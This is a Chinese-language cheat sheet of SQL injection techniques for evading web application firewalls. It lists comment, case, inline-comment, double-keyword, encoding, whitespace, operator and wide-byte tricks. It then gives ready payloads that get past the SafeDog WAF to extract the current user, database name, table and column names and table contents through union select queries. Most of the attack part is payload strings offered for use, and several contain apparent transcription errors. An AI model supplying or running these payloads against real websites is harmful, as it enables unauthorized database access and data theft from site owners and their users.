一、注释符号绕过
在sql中常用的注释符号有
--、#、/*xxx*/、
二、大小写绕过
当web正则过滤的时候对大小写不敏感的情况下使用,一般很少会有这种漏洞
比如当过滤了select的时候我们可以采用SEleCT来查询
三、内联注释绕过
首先介绍一下mysql数据库的注释符
在MySQL里,多行解释 是 /* */,这个是SQL的标准 但是MySQL扩张了解释 的功能比如注释/**/在起头的/*后头加了!变成了/*!*/
我们叫它为内联注释
把要使用的查询语句放在/*。。。*/中,这样在一般的数据库是不会执行的,但是在mysql中内联注释中的语句会被执行。
参考网址:https://www.cnblogs.com/cn-36/p/6723688.html
四、双写关键字绕过
有的waf只会对关键词过滤一次,这时候采用双写的方式可以绕过。
selselectect * from user; 过滤select后变成 select * from user;
不但可以进行双写绕过,也可以尝试一下三写
anaandndd1=(selecseselectlectt @@version)--+
五、特殊编码绕过
十六进制:
select * from users where username = 0x7a68616e677961;
ascii编码绕过
六、空格过滤绕过
/**/ ,(),`,tab,两个空格
一定要注意在使用()绕过的时候,括号里边不能有*号
七、or and xor not 过滤绕过
and = && or = || xor = | # not = !
1%20and%20/!500011/=/!500011/
1%20and%20/!500011/=/!500012/
if((1=2),1,1)
1%20and/%!%22//1=1%20--%20+
八、=号过滤绕过
=号和不加通配符的 like 是一样的。
还可以使用 < >号来绕过
<> 在mysql中等于!= 如果在加一个! 双重否定代表肯定 就是= 了
strcmp(str1,str2):若所有的字符串均相同,则返回STRCMP(),若根据当前分类次序,第一个参数小于第二个,则返回 -1,其它情况返回 1
between关键字
九、引号被过滤
使用十六进制过滤,同上。
常用在web应用使用的字符集为GBK时,并且过滤了引号,就可以试试宽字节。
十、逗号被过滤
正常情况下的substr表达式是substr(str1,start,long)
可以使用一个替代逗号的方法就是使用from pos for len,其中pos代表从pos个开始读取len长度的子串
使用offset关键字
适用于limit中的逗号被过滤的情况
Limit 1,2表示从第二行开始,取两行。Limit 1 offset 5 表示从第六行开始取一行。
安全狗绕过
select
/*!50000%53elect*/
order
/*!50000%6frder*/
union
/*!50000%75nion*/
and绕过
1%20and%20/!500011/=/!500011/
1%20and%20/!500011/=/!500012/
if((1=2),1,1)
1%20and/%!%22//1=1%20--%20+
Order by 绕过
/*%!*干扰
1/%2a%%2f/order/%2f%2f/by/%2f%2f/2
union select 绕过
-1/*%2a%%2f*/union/%2f%2f*//*!50001select*//*%2f%2f*/1,2
获取当前数据库和用户
-1/*%2a%%2f*/union/%2f%2f*//*!50001select*//*%2f%2f*/1,user(/* */)
数据库同理
-1/%2a%%2f/union/%2f%2f//!50144select//%2f%2f/1,database(/%2f%2f/)
获取数据表
-1 REGEXP "[…%0a%23]" /%2a%%2f/union/%2f%2f//!50144select//%2f%2f/1,group_concat(table_name),3 %0a from information_schema.tables where table_schema=database(////)
这里其实REGEXP "[…任意%23]"就行,在url解码%23变成了#,安全狗认为后面全都成为了注释符,带入到mysql层面其实%23只是正则的一个参数并不是注释符
获取表字段
-1 REGEXP "[…%0a%23]" /%2a%%2f/union/%2f%2f//!50144select//%2f%2f/1,group_concat(column_name),3 %0a from information_schema.columns where table_name="newss"
获取数据
-1 REGEXP "[…%0a%23]" /%2a%%2f/union/%2f%2f//!50144select//%2f%2f/1,content,3 %0a from newss